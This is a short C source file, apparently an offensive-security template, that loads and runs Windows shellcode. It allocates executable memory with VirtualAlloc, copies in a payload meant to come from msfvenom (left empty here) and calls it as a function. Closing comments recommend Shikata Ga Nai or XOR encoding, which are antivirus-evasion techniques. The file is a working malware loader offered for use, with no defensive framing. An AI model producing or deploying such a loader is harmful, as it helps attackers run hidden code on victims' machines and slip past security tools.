shell_template.c

#include <stdio.h>
#include <windows.h> //VirtualAlloc is defined here
unsigned const char payload[] = ""; //shellcode as output by msfv
size_t size = 0; //size of payload in bytes (output by msfv)
int main(int argc, char **argv) {
char *code;                     //Holds a memory address
code = (char *)VirtualAlloc(    //Allocate a chunk of memory and store the starting address
        NULL, size, MEM_COMMIT,     
        PAGE_EXECUTE_READWRITE  //Set the memory to be writable and executable
    );
memcpy(code, payload, size);    //Copy our payload into the executable section of memory
((void(*)())code)();            //Cast the executable memory to a function pointer and run it 
return(0);
}

// set payload and size then compile/build
// encode w/ Shikata Ga Nai for 32-bit, and XOR for 64-bit shellcode.